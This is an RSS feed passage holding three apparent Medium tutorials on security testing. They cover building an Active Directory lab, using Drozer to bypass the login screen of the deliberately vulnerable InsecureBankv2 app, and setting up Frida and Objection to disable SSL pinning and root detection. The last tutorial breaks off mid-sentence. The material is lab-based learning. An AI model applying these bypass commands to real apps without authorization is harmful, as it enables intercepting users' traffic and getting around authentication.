Communication</h3><p>One of the most important parts of building an Active Directory lab is proper networking and DNS configuration.</p><p>All machines must be able to communicate with each other successfully.</p><h4>Configuring the Domain Controller Network Settings</h4><p>Before installing Active Directory, the Domain Controller must use a static IP address.</p><h4>Why Static IP Configuration Matters</h4><p>A Domain Controller should use a static IP address because Active Directory services depend heavily on stable network communication.</p><p>If the server IP changes dynamically through DHCP:</p><ul><li>clients may fail to locate the Domain Controller</li><li>DNS records can become inconsistent</li><li>authentication issues may occur inside the domain</li></ul><p>Using a static IP helps ensure reliable communication between:</p><ul><li>the Domain Controller</li><li>client systems</li><li>DNS services</li></ul><p>This is especially important in Active Directory environments where authentication and service discovery depend on consistent network addressing.</p><h4>Steps</h4><ol><li>Open:</li></ol><ul><li>Network and Sharing Center</li><li>Change Adapter Settings</li></ul><p>2. Right-click the Ethernet adapter</p><p>3. Open:</p><ul><li>Properties</li><li>Internet Protocol Version 4 (TCP/IPv4)</li></ul><p>Configure:</p><pre>| Setting       | Value          |<br>| ------------- | -------------- |<br>| IP Address    | 192.168.27.110 |<br>| Subnet Mask   | 255.255.255.0  |<br>| Preferred DNS | 127.0.0.1      |</pre><p>In this setup, the server uses itself as the DNS server because it will later host Active Directory Domain Services and DNS services locally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*vhR47XgEhY4oUXfrzVAlNg.png" /><figcaption>Domain Controller Static IP Configuration</figcaption></figure><h4>Why DNS Is Critical in Active Directory</h4><p>Active Directory relies heavily on DNS for service discovery and authentication.</p><p>When a client system attempts to join a domain, it first uses DNS to locate the Domain Controller and discover services such as:</p><ul><li>LDAP</li><li>Kerberos</li><li>domain authentication endpoints</li></ul><p>If DNS is configured incorrectly:</p><ul><li>domain joins may fail</li><li>authentication issues can occur</li><li>users may be unable to locate domain resources</li></ul><p>Because of this dependency, proper DNS configuration is one of the most important parts of building a functional Active Directory environment.</p><h3>Configuring the Windows 7 Client Network Settings</h3><p>The Windows 7 client machine was configured on the same subnet.</p><h4>Configure:</h4><pre>| Setting       | Value          |<br>| ------------- | -------------- |<br>| IP Address    | 192.168.27.20  |<br>| Subnet Mask   | 255.255.255.0  |<br>| Preferred DNS | 192.168.27.110 |</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*cEMm7c9It-L2AIgciJBX2w.png" /><figcaption>Windows 7 Client DNS Configuration</figcaption></figure><p>The Windows 7 client uses the Domain Controller as its DNS server. Without this configuration, the client machine would fail to locate the domain during the domain join process.</p><h4>Verifying Connectivity</h4><p>After configuring the network settings:</p><ul><li>Verify communication between all machines.</li><li>Test connectivity using ping.</li></ul><p>Examples:</p><ul><li>Ping the Domain Controller from Windows 7</li><li>Ping Windows 7 from the Domain Controller</li><li>Verify Kali Linux can communicate with both systems</li></ul><p>Successful communication confirms that the lab networking is functioning correctly.</p><h3>Installing Active Directory Domain Services (AD DS)</h3><p>Once networking is configured correctly, Active Directory Domain Services can be installed.</p><h4>Step 1 — Open Server Manager</h4><p>Launch <strong>Server Manager</strong> from the Windows Server machine.</p><h4>Step 2 — Add Roles and Features</h4><ol><li>Click:</li></ol><ul><li>Add Roles and Features</li></ul><p>2. Continue until reaching:</p><ul><li>Server Roles</li></ul><p>3. Select:</p><ul><li>Active Directory Domain Services</li></ul><p>4. Click:</p><ul><li>Add Features</li></ul><p>5. Continue and click:</p><ul><li>Install</li></ul><h3>Promoting the Server to a Domain Controller</h3><p>After installation:</p><ol><li>Open the notification flag inside Server Manager.</li><li>Click:</li></ol><ul><li>Promote this server to a domain controller</li></ul><h4>Deployment Configuration</h4><p>Select:</p><ul><li>Add a new forest</li></ul><p>Example domain:</p><pre>dclabs.local</pre><h4>Domain Controller Configuration</h4><ul><li>Leave the functional level as:</li></ul><p>~ Windows Server 2012 R2</p><ul><li>Configure the DSRM password carefully.</li></ul><h4>DNS Configuration</h4><p>You may see DNS delegation warnings during setup. These warnings are normal in isolated lab environments and can usually be ignored safely.</p><h4>Complete Installation</h4><p>After the prerequisites check completes successfully:</p><ul><li>Click Install</li><li>The server will reboot automatically</li></ul><p>At this point, the Active Directory Domain Controller is fully configured.</p><h3>Joining Windows 7 to the Domain</h3><p>Now the Windows 7 client machine can be joined to the domain.</p><h4>Step 1 — Open System Settings</h4><ol><li>Right-click:</li></ol><ul><li>Computer</li></ul><p>2. Open:</p><ul><li>Properties</li></ul><p>3. Click:</p><ul><li>Change Settings</li></ul><h4>Step 2 — Join the Domain</h4><ol><li>Click:</li></ol><ul><li>Change</li></ul><p>2. Select:</p><ul><li>Domain</li></ul><p>3. Enter your domain name:</p><pre>dclabs.local</pre><h4>Step 3 — Authenticate</h4><p>When prompted:</p><ul><li>Enter the Domain Administrator credentials from the Windows Server machine.</li></ul><p>If DNS and networking are configured correctly, the machine will successfully join the domain.</p><p>After rebooting, the Windows 7 client becomes part of the Active Directory environment.</p><h3>Final Result</h3><p>At this stage, the lab environment contains:</p><ul><li>A functional Domain Controller</li><li>DNS services</li><li>A Windows 7 domain client</li><li>A Kali Linux attacker machine</li><li>Working communication between all systems</li></ul><p>This environment now provides a solid foundation for practicing:<br>- SMB enumeration<br>- Active Directory reconnaissance<br>- DNS and authentication workflows<br>- Domain communication analysis<br>- Basic post-exploitation concepts<br>- Internal network testing</p><h3>Conclusion</h3><p>Building a local Active Directory lab is one of the best ways to understand how enterprise authentication environments operate in real-world networks.</p><p>Instead of relying entirely on public labs or walkthroughs, creating the infrastructure manually helps develop a deeper understanding of:</p><ul><li>DNS dependencies</li><li>Domain communication</li><li>Authentication workflows</li><li>Active Directory architecture</li><li>Network segmentation</li></ul><p>In future write-ups, I’ll continue expanding this lab by:</p><ul><li>creating realistic users and groups</li><li>automating user creation with PowerShell</li><li>simulating common AD attack paths</li><li>performing enumeration and exploitation exercises inside the environment</li></ul><p>This setup provides a practical foundation for learning both offensive and defensive Active Directory concepts in a controlled environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*87BHf9aQjG1GMNUgLzHu5A.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0035740bd3ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting Started with Drozer: Practical Android Application Security Testing]]></title>
            <link>https://medium.com/@unKnOwn37/getting-started-with-drozer-practical-android-application-security-testing-a0e87c3f52a2?source=rss-d9023bbefb0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0e87c3f52a2</guid>
            <dc:creator><![CDATA[Jai Bhattacharya]]></dc:creator>
            <pubDate>Fri, 06 Mar 2026 04:13:35 GMT</pubDate>
            <atom:updated>2026-03-06T04:13:35.801Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone, it’s been a while since I shared something practical.</p><p>Recently, I decided to stop just reading about Drozer and actually build a working lab around it. Most Android security testing starts with static analysis using JADX or APKTool. We decompile, read code, and look for obvious issues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8q0K-_iQIx6cagYlLbQ3Q.png" /></figure><p>But real mobile security testing goes further.</p><p>You need to interact with the running application. You need to see how components behave when triggered externally. You need to approach the app the way another malicious app would.</p><p>That’s where Drozer becomes powerful.</p><p>In this write-up, I’ll walk through how I set up Drozer on Kali, connected it to my emulator, and tested a vulnerable Android app from an attacker’s perspective.</p><p>This is based on my hands-on lab, not just documentation.</p><h3>What is Drozer?</h3><p>Drozer is an Android security assessment framework developed by MWR InfoSecurity.</p><p>In simple terms, it allows you to interact with Android app components from the outside.</p><p>Instead of clicking buttons inside the app, Drozer lets you:</p><ul><li>Enumerate exported activities</li><li>Inspect services</li><li>Trigger components manually</li><li>Send crafted intents</li><li>Analyze the app’s exposed attack surface</li></ul><p>It feels like you are attacking the app from another app.</p><p>And that is exactly what makes it powerful.</p><h3>Understanding the Android Attack Surface</h3><p>Every Android application is made of components:</p><ul><li>Activities</li><li>Services</li><li>Broadcast Receivers</li><li>Content Providers</li></ul><p>If developers accidentally export these components without proper protection, an attacker can interact with them directly.</p><p>You do not need root.<br> You do not need source code.<br> You just need the right entry point.</p><p>Drozer helps you find those entry points.</p><h3>Lab Setup Architecture</h3><p>My lab setup:</p><ul><li>Kali Linux attacker machine in Virtual Box</li><li>LDPlayer Android emulator</li><li>ADB over TCP connection</li><li>Vulnerable app: InsecureBankv2</li></ul><p>Architecture flow:</p><p>Kali → ADB → Emulator → Drozer Agent → Target App</p><p>Setting up the network correctly took some time, especially bridging the VM properly so ADB could connect over the same subnet. Once that was fixed, everything became smooth.</p><h3>Step 1: Installing ADB on Kali</h3><p>Before starting, make sure your Kali VM is configured in Bridged mode so ADB can communicate with the emulator over the same subnet.</p><pre>sudo apt update<br>sudo apt install adb -y</pre><p>Then connect to emulator:</p><pre>adb connect &lt;emulator-ip&gt;:5555<br>adb devices</pre><p>If successful:</p><pre>192.168.x.x:5555 device</pre><h3>Step 2: Installing Drozer on Kali</h3><p>Create virtual environment:</p><pre>python3 -m venv drozer-env<br>source drozer-env/bin/activate<br>pip install drozer</pre><p>Verify installation:</p><pre>drozer --help</pre><h3>Step 3: Installing Drozer Agent on Android</h3><p>Drozer requires an agent APK inside the emulator.</p><p>Install it:</p><pre>adb install drozer-agent.apk</pre><p>After opening the Drozer Agent app, I enabled the embedded server.<br> It listens on port 31415.</p><p>Then I forwarded the port:</p><pre>adb forward tcp:31415 tcp:31415</pre><p>Connect:</p><pre>drozer console connect</pre><p>If successful, you will see:</p><pre>dz&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*6RY8YuVw1aWx7a4-fyV0lQ.png" /></figure><p>That’s where the fun starts.</p><h3>Testing InsecureBankv2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DZRHPnrZaAbyZ_Kj" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/0*cJdWLPDByUd6lo1v.png" /></figure><p>InsecureBankv2 is intentionally vulnerable and perfect for learning mobile security.</p><h3>1. Identifying the Package Name</h3><p>Inside Drozer:</p><pre>run app.package.list -f bank</pre><p>Output:</p><pre>com.android.insecurebankv2</pre><h3>2. Enumerating Attack Surface</h3><pre>run app.package.attacksurface com.android.insecurebankv2</pre><p>This shows how many components are exported.</p><p>This is the first thing I always check.</p><p>If something is exported and does not require permission, that is immediately interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*3BTczgrSo6klrCP0-VvNkA.png" /></figure><p>If an activity is exported without permission, you can launch it directly.</p><h3>3. Bypassing the Login Screen</h3><p>This was the most interesting part.</p><p>I listed activities:</p><pre>run app.activity.info -a com.android.insecurebankv2</pre><p>I noticed an exported activity called PostLogin.</p><p>So I tried launching it directly:</p><pre>run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin</pre><p>And it opened the post-login screen without authentication.</p><p>That means the app trusted navigation instead of enforcing authentication server-side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*WnmV_0qTGlXOiVSDRBY8jQ.png" /></figure><p>This is a classic Broken Access Control issue in mobile applications.</p><p>And this part actually worked perfectly in my lab.</p><h3>4. Exploring Content Providers and Injection Points</h3><p>After identifying exported activities, I moved to testing content providers.</p><p>Using Drozer:</p><pre>run app.provider.info -a com.android.insecurebankv2</pre><p>This helps determine whether any providers are exported and accessible without permissions.</p><p>In mobile security testing, exported content providers are especially sensitive because they may expose:</p><ul><li>User records</li><li>Credentials</li><li>Transaction details</li><li>Internal database tables</li></ul><p>If improperly implemented, they can allow direct data extraction or even injection attacks.</p><p>I also tested provider queries using:</p><pre>run app.provider.query &lt;content-uri&gt;</pre><p>and experimented with projection parameters to evaluate input handling.</p><p>While not every provider automatically exposes sensitive data, this step is critical during assessment because:</p><ul><li>Many real-world apps accidentally expose raw database access</li><li>Developers sometimes rely only on client-side validation</li><li>Injection flaws in content providers can lead to full database compromise</li></ul><p>Content provider testing requires understanding of URI structure, table names, and how the underlying query is implemented.</p><p>It is not just about running a command. It is about understanding how the app stores and retrieves data.</p><h3>5. Enumerating Permissions</h3><p>Check what permissions the app uses:</p><pre>run app.package.info -a com.android.insecurebankv2</pre><p>Look for:</p><ul><li>Dangerous permissions</li><li>Custom permissions</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*9bbagPDpBFpyrFDOwnskHA.png" /></figure><p>If a custom permission is defined but not enforced, it may be bypassable.</p><h3>Advanced Testing Ideas</h3><p>Once comfortable with Drozer, you can combine it with:</p><ul><li>Static analysis using JADX</li><li>Runtime manipulation using Frida</li><li>SSL pinning bypass testing</li><li>Root detection bypass</li></ul><p>Drozer is powerful for initial enumeration and component interaction. It becomes even more effective when combined with deeper runtime tools.</p><h3>Common Vulnerabilities Discovered Using Drozer</h3><ul><li>Exported activities without proper permission checks</li><li>Authentication bypass through direct component invocation</li><li>Content provider data leakage</li><li>SQL injection in poorly implemented providers</li><li>Insecure intent handling</li><li>Weak IPC enforcement</li></ul><h3>Why Drozer Is Important for AppSec and Red Teaming</h3><p>Drozer teaches you:</p><ul><li>Android IPC model</li><li>Intent based attacks</li><li>Permission enforcement flaws</li><li>Runtime exploitation</li><li>Black box testing techniques</li></ul><p>If you are preparing for:</p><ul><li>Mobile AppSec roles</li><li>VAPT roles</li><li>Red team assessments</li><li>CTF mobile challenges</li></ul><p>Drozer builds strong fundamentals.</p><h3>Limitations of Drozer</h3><p>Drozer is powerful but:</p><ul><li>It does not replace static analysis</li><li>It does not automatically exploit everything</li><li>It requires understanding of Android architecture</li></ul><p>Best approach:</p><p>Static analysis + Dynamic testing + Drozer runtime interaction.</p><h3>Final Thoughts</h3><p>Drozer transforms Android testing from passive analysis into active exploitation.</p><p>Setting up a proper lab using Kali and an emulator is essential for understanding real-world attack scenarios.</p><p>Tools come and go, but understanding Android components and IPC is what makes you a strong mobile security professional.</p><p>If you want to go deeper next:</p><ul><li>Combine Drozer with Frida</li><li>Test SSL pinning bypass</li><li>Analyze exported receivers</li><li>Automate enumeration</li></ul><h3>What’s Next?</h3><p>This lab was focused on component enumeration and activity exploitation. In future write-ups, I plan to explore:</p><ul><li>Deep link abuse</li><li>Broadcast receiver exploitation</li><li>Runtime hooking with Frida</li><li>SSL pinning bypass techniques</li></ul><p>Mobile application security is not just about tools. It is about understanding how Android applications are architected and how trust boundaries are enforced.</p><p>I am currently building more hands-on labs around Android IPC and mobile attack surfaces.</p><p>If you’re working in AppSec or mobile VAPT, I’d love to exchange ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*dyXWeUJt2L4ZEKROFrU5qA.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0e87c3f52a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up an Android Dynamic Analysis Environment: ADB, Frida, and Objection]]></title>
            <link>https://medium.com/@unKnOwn37/setting-up-an-android-dynamic-analysis-environment-adb-frida-and-objection-da1a1812bd43?source=rss-d9023bbefb0c------2</link>
            <guid isPermaLink="false">https://medium.com/p/da1a1812bd43</guid>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[adb]]></category>
            <category><![CDATA[frida]]></category>
            <category><![CDATA[android-testing]]></category>
            <category><![CDATA[objection]]></category>
            <dc:creator><![CDATA[Jai Bhattacharya]]></dc:creator>
            <pubDate>Fri, 03 Oct 2025 07:06:32 GMT</pubDate>
            <atom:updated>2025-10-03T07:06:32.987Z</atom:updated>
            <content:encoded><![CDATA[<p>The effective security assessment of modern Android applications requires a robust dynamic analysis environment capable of instrumenting runtime behaviour. This report provides an exhaustive, step-by-step methodology for setting up the necessary toolchain — Android Debug Bridge (ADB), the Frida instrumentation toolkit, and the Objection exploration framework — on a Windows host, culminating in advanced techniques for bypassing common security controls such as SSL Pinning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*CdJrEHpG9X_yyabL9_e3-w.gif" /></figure><h3>I. Foundational Environment Setup on Windows Host</h3><p>Establishing a reliable environment on the host machine is the indispensable first step. This involves integrating Python for package management and configuring ADB for device communication.</p><p><strong>How to Set Up Your Android Emulator to Catch Web/App Traffic</strong></p><p>If you’re doing security testing in a VAPT, you need to see all the internet messages your phone app is sending out. To do this, you use a fake phone (an emulator) and send all its internet traffic through a tool called a proxy (like Burp Suite).</p><p>It all starts with getting your virtual phone and your proxy tool talking to each other. You can pick any emulator you like, such as Android Studio’s AVD, Nox, Memu, or LD Player — just choose the one that works best for you!</p><p>Here are the simple steps to get everything connected:</p><p>1. Pick and Install Your Emulator: Get your favourite virtual phone set up, whether it’s the one from Android Studio or one of the easier options like Nox, Memu, or LD Player.</p><p>2. Turn on the Internet: Start up your emulator and make absolutely sure its internet connection (Wi-Fi) is turned on and active.</p><p>3. Start Your Proxy Tool: On your main computer, open your proxy software (Burp Suite). You need two important pieces of info from your computer: its IP address (it usually looks like 192.168.xx.xxx) and the port that Burp is listening on.</p><p>4. Go to the Emulator’s Settings: On the fake phone, go into the Settings menu and find the Wi-Fi or Network section.</p><p>5. Tell the Emulator the Proxy Address: Find the option to manually set up a proxy. You need to enter the IP address and port you found in Step 3.</p><p>6. Start Catching Requests! Save your settings. That’s it! Every message the app on your emulator sends to the internet will now go through your proxy tool first, allowing you to see and inspect the traffic.</p><h3>1.1. Prerequisites: Python and ADB Integration</h3><p>The host operating system must be prepared to manage and execute the Frida and Objection client tools, which rely heavily on the Python ecosystem.</p><h4>1.1.1. Python Environment Setup</h4><p>The primary requirement for installing and running Frida’s Command Line Interface (CLI) tools, including the Objection framework, is a modern Python environment. Analysts are highly encouraged to install the latest Python 3.x release, ensuring forward compatibility with the current versions of Frida and its dependencies. The Python installer automatically includes</p><p>pip (the Python package installer), which is utilized throughout the setup process. For clarity and to avoid conflicts with legacy Python 2 installations, specific commands often utilize pip3 where applicable.</p><h4>1.1.2. Acquiring Android Platform Tools (ADB/Fastboot)</h4><p>The <strong>Android Debug Bridge (adb)</strong> is the main tool used to communicate with Android devices. It is required for deploying the Frida server agent. To get it safely, download the <strong>SDK Platform-Tools</strong> package (which includes adb.exe) directly from the official Android Developer website or through Android Studio’s SDK Manager. Avoid third-party sources to reduce the risk of using tampered files.</p><p>After downloading, extract the ZIP file to a fixed and easy-to-find location on your system. A common practice is to place it in a root directory such as C:\platform-tools or C:\adb. Keeping it in a stable location is important because it will make the next configuration step—setting up the PATH—much easier.</p><h4>1.1.3. Configuring the Windows System PATH Variable</h4><p>To run <strong>ADB commands</strong> from any Command Prompt or PowerShell window, you need to add the Platform-Tools folder to the <strong>Windows PATH environment variable</strong>. This way, you won’t have to manually navigate to the folder every time.</p><p><strong>Steps:</strong></p><ol><li>Right-click the <strong>Start button</strong> → select <strong>System</strong> → open <strong>Advanced system settings</strong>.</li><li>In the <strong>System Properties</strong> window, click <strong>Environment Variables</strong>.</li><li>Under <strong>System variables</strong>, find and select <strong>Path</strong>, then click <strong>Edit</strong>.</li><li>Add the full path of the Platform-Tools directory (e.g., C:\platform-tools).</li><li>Save the changes.</li></ol><p><strong>Important:</strong></p><ul><li>PATH updates only apply to <strong>new</strong> Command Prompt or PowerShell windows. If you test in the same session, adb may still fail.</li><li>After updating PATH, open a new terminal and run:</li></ul><blockquote>adb devices</blockquote><p>This confirms the setup was successful.</p><h3>1.2. Installing Dynamic Analysis Clients</h3><p>With the Python environment ready, the necessary client tools for dynamic analysis are installed via pip.</p><h4>1.2.1. Installing Frida Client Tools (frida-tools)</h4><p>The core instrumentation client is installed using the Python package manager. The required command ensures that the host machine can discover, communicate with, and send commands to the Frida server running on the target Android device.</p><blockquote><strong>pip install frida-tools</strong></blockquote><p>or</p><blockquote><strong>pip3 install frida-tools</strong></blockquote><p>Verification of the installation and version compatibility is achieved by running <strong>frida — version</strong>.</p><h4>1.2.2. Installing the Objection Mobile Exploration Framework</h4><p>Objection is a high-level, runtime mobile exploration toolkit designed to simplify common security testing tasks. It acts as an abstraction layer, built entirely on top of the powerful Frida API. This layering enables single commands to perform complex instrumentation and analysis sequences that would otherwise require writing custom JavaScript scripts.</p><blockquote><strong>pip install objection</strong></blockquote><p>or</p><blockquote><strong>pip3 install objection</strong></blockquote><p>The underlying technical relationship between Objection and Frida means that Objection’s functional success is directly tied to the stability of the core Frida client-server connection. If the low-level Frida connection fails (e.g., due to a version mismatch between the client and server or an issue with the ADB bridge), Objection will also fail to attach to the target application. Due to the constant evolution of mobile platform defenses (such as root detection and anti-instrumentation mechanisms), analysts must periodically upgrade the toolset using</p><p><em>pip3 install — upgrade objection</em> to ensure access to the latest bypass techniques and compatibility features.</p><h3>II. Android Target Device Preparation and Frida Server Deployment</h3><p>Dynamic instrumentation requires running an agent, the Frida server, within a privileged context on the target Android device. This necessitates using either a physical device rooted with tools like Magisk or a privileged emulator (e.g., an Android Virtual Device running a debug build).</p><h4>2.1. Target Environment Requirements and ADB Bridge</h4><p>Successful deployment hinges on the ability of the host machine to communicate with a <em>rooted</em> target device. The initial step is confirming device visibility:</p><blockquote>adb devices -l</blockquote><p>Once detected, the analyst must ensure the ADB daemon has elevated privileges, typically achieved via the adb root command. If the application is running on a production build where the ADB daemon cannot be run as root, subsequent shell commands must be prefixed with su -c to ensure execution in a superuser context.</p><h3>2.2. Frida Server Preparation and Execution Lifecycle</h3><p>The Frida server acts as the local agent, handling runtime code injection into the target process. Its deployment requires careful handling of architecture compatibility and file permissions.</p><h4>2.2.1. Identifying Architecture and Downloading Server Binary</h4><p>The Frida server binary must precisely match the target device’s CPU architecture (e.g., arm, arm64, x86, or x86_64). The architecture can be determined using ADB:</p><blockquote>adb shell getprop ro.product.cpu.abilist</blockquote><p>The correct binary, typically named frida-server-version-android-arch.xz, must be downloaded from the official Frida GitHub releases page. Before deployment, the file must be uncompressed (e.g., using a utility like 7-Zip or the unxz command).</p><h4>2.2.2. Pushing the Server to the Device</h4><p>The uncompressed server binary is pushed to a standard, writable temporary directory on the Android file system, usually /data/local/tmp/. It is crucial to rename the file to a standardized, generic name, such as frida-server, during the transfer, regardless of the architecture-specific filename downloaded from GitHub.</p><blockquote>adb push ./frida-server-version-android-arch /data/local/tmp/frida-server</blockquote><h4>2.2.3. Setting Execute Permissions</h4><p>The binary pushed to the device must be granted executable permissions using the chmod command.</p><blockquote>adb shell “chmod 755 /data/local/tmp/frida-server”</blockquote><h4>2.2.4. Launching the Frida Server</h4><p>The server must be executed as root and kept running in the background for the duration of the analysis session. The use of the ampersand (&amp;) detaches the process from the current shell, allowing the analyst to continue issuing commands without interrupting the server’s operation.</p><blockquote>adb shell “/data/local/tmp/frida-server &amp;”</blockquote><p>In the context of advanced application testing, practitioners must acknowledge that some hardened mobile applications contain anti-instrumentation logic that statically checks for the existence or path of known tools. If detection occurs, the standard deployment location (<em>/data/local/tmp/frida-server</em>) may be problematic. To evade such checks, the security expert may need to immediately adapt by pushing the binary to an alternative, less suspicious location, such as a temporary directory under /dev/, and executing it from there.</p><h4>2.2.5. Final Verification</h4><p>The final step confirms that the host client can communicate with the server agent over the ADB bridge.</p><blockquote><strong>frida-ps -U</strong></blockquote><p>A successful connection will return a list of processes running on the USB-connected device, confirming that the entire infrastructure is operational and ready for application instrumentation.</p><p>The detailed deployment life-cycle is summarized below:</p><p>Frida Server Deployment Lifecycle</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*jc0PhO0o-D91AdFheLafGQ.png" /></figure><h3>III. Core Android Application Security Testing Workflow</h3><p>With the Frida environment stabilized, the analyst transitions to the Objection framework for efficient, high-level process interaction.</p><h3>3.1. Establishing Control: The Objection Link</h3><p>The first task is identifying the precise package name of the target application (e.g., com.target.app). This can be retrieved using the Frida process listing command, focusing on applications (-a).</p><blockquote>frida-ps -Ua</blockquote><p>Once the package name is known, Objection attaches to the process using the -g (gadget/package name) flag, entering the interactive REPL with the explore command.</p><blockquote>objection -g com.target.app explore</blockquote><p>Upon successful attachment, Objection loads its internal modules and presents the REPL prompt. The simplest method to confirm full instrumentation is by running the env command within the Objection shell. This command lists the application’s environment and key storage paths, ensuring that the process is hooked and accessible for manipulation.</p><h3>3.2. Initial Runtime Exploration with Objection</h3><p>Objection simplifies initial reconnaissance by offering specialized commands for Android security checks, saving time on checks that require minimal custom code.</p><h4>High-Level Security Auditing</h4><p>Objection provides immediate utility in circumventing standard security measures and exploring application storage. If the target application detects the rooted status of the device and refuses to run, the analyst can attempt to disable common root detection checks using a dedicated command:</p><blockquote>android root disable</blockquote><p>This command attempts to hook and modify the return value of standard root-checking functions, allowing the application to execute normally in the testing environment. Additionally, exploration commands like</p><p>env are essential for locating sensitive local data, revealing paths to databases, shared preferences, and cache directories. The framework also includes features to inspect secure storage mechanisms, such as listing entries in the Android keystore:</p><blockquote>android keystore list.</blockquote><p>Objection’s strength lies in its ability to immediately test for security vulnerabilities using standardized, documented commands, providing rapid validation of low-hanging fruit and optimizing the testing timeline before resorting to time-intensive custom scripting.</p><p>Core Objection Runtime Commands:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*Thvftc36JzxCwMxgo9capg.png" /></figure><h3>IV. Advanced Technique: Bypassing SSL Pinning</h3><p>SSL Pinning is a common and highly effective defence mechanism that prevents Man-in-the-Middle (MITM) traffic interception, even when a device trusts the proxy’s root certificate. Overcoming this requires runtime modification of the application’s security logic.</p><h4>4.1. Understanding Pinning and Proxy Prerequisite</h4><p>Pinning works by embedding a copy of the expected certificate or public key within the application binary. During a TLS handshake, the application compares the presented certificate chain against this embedded copy. If they do not match, the connection is immediately terminated, regardless of whether the operating system’s trust store validates the certificate authority (CA).</p><p>Crucially, bypassing SSL Pinning is only one part of the network interception puzzle. The analyst must first set up an interception proxy (such as Burp Suite or Mitmproxy) and ensure that the rooted target device is configured to route traffic through this proxy and trusts the proxy’s root CA certificate in its user or system store. The Frida/Objection tools only eliminate the</p><p><em>pinning</em> check, enabling the underlying TLS handshake (which still requires CA trust) to complete.</p><h4>4.2. Automated SSL Pinning Bypass using Objection</h4><p>Objection offers the fastest path to circumventing pinning for applications that rely on common, high-level Java networking libraries (e.g., OkHttp, Volley).</p><p>Once attached to the target process via the Objection REPL, the command is executed:</p><blockquote>android sslpinning disable</blockquote><p>This single command injects a comprehensive Frida script that hooks key methods within standard <em>TrustManager</em> implementations. The script effectively replaces the certificate validation logic (<em>checkServerTrusted</em>) with code that always returns a success status, thereby forcing the application to trust the MITM proxy’s certificate.</p><h4>4.3. Deep Dive: Custom/Universal Scripted Bypass using Frida</h4><p>If the automated Objection method fails, it suggests that the application implements pinning using specialized or obfuscated logic, potentially leveraging less common Java libraries or native (NDK) code. In such cases, dedicated Frida scripts are necessary.</p><h4>4.3.1. Utilizing Frida CodeShare for Universal Scripts</h4><p>The Frida CodeShare platform is a community resource that hosts highly effective, universal scripts maintained by security researchers. These scripts often cover a far wider array of custom pinning implementations than those built into Objection. Two highly recommended and widely used options are the “Universal Android SSL Pinning Bypass with Frida” (@pcipolloni) or the more comprehensive</p><p>frida-multiple-unpinning (@akabe1), which is endorsed by the OWASP Mobile Application Security Testing Guide (MASTG) for its resilience.</p><h4>4.3.2. Execution using Codeshare</h4><p>Frida provides a robust mechanism to execute these scripts directly from the repository using the — codeshare flag, combined with the -f flag to spawn (launch) the application rather than attaching to an already running one.</p><blockquote>frida -U — codeshare akabe1/frida-multiple-unpinning -f com.target.app — no-pause</blockquote><blockquote>frida -U — codeshare fdciabdul/frida-multiple-bypass -f com.target.app</blockquote><p>The use of the -f flag (spawn) and the — no-pause modifier is strategically necessary. Pinning checks often occur very early in the application’s lifecycle, sometimes during the initial Activity launch. Spawning the application ensures the script is injected and active before the critical pinning check is executed. Attempting to attach (-a) to an already running process might be too late, as the network module may have already performed the check and failed, leading to persistent connection errors.</p><p>You can see other open-source scripts from their official website: <a href="https://codeshare.frida.re/"><em>https://codeshare.frida.re/</em></a></p><h4>4.3.3. Adapting and Loading Local Frida Scripts</h4><p>For analysts who have customized a script or require offline execution, the script file (e.g., fridascript.js) can be loaded locally using the -l flag.</p><blockquote>frida -U -f com.target.app -l /path/to/local/script.js — no-pause</blockquote><p>Alternatively, if the testing environment requires the script to reside on the Android device itself (e.g., for reduced latency or complex execution), the script must be pushed to a writable directory on the device beforehand.</p><p>SSL Pinning Bypass Options Comparison</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*WNZJGhPj0mPV-TEbqp65WQ.png" /></figure><h3>V. Custom Instrumentation and Hooking with Frida</h3><p>When automated tools fail to reveal sufficient information or bypass proprietary logic, the analyst must transition to creating bespoke instrumentation scripts using Frida’s JavaScript API. This allows precise targeting and modification of application methods.</p><h4>5.1. Foundational Java Hooking API</h4><p>All custom Java instrumentation scripts must be executed within the Java.perform(function() {… }) context, which guarantees that the Dalvik/ART runtime environment is ready for manipulation.</p><p>The core process involves three steps:</p><p>1. <strong>Class Selection:</strong> Use Java.use(‘package.Class’) to obtain a wrapper object for the target class.</p><p>2. <strong>Method Overriding:</strong> Replace the method’s functionality by assigning a new function to its .implementation property. This new function receives the original arguments and can call the original method (this.targetMethod(arg1, arg2)) if the original logic is needed.</p><p>3. <strong>Handling Overloads:</strong> If a method name is reused with different argument types (a common practice in Java), the .overload() method must be used to specify the exact signature being targeted.32</p><p>For code compiled into native libraries (e.g., JNI functions within libnative-lib.so), function hooking shifts to the Interceptor.attach method, requiring the identification of the function export name or address within the loaded module. This technique is essential for bypassing defences implemented in C/C++ code, such as low-level network or cryptographic checks.</p><h4>5.2. Practical Examples of Custom Instrumentation</h4><p>The power of Frida lies in its ability to dynamically profile execution flow and manipulate runtime states.</p><h4>5.2.1. Instrumentation Example 1: Tracing Functions with frida-trace (Reconnaissance)</h4><p>Before writing custom 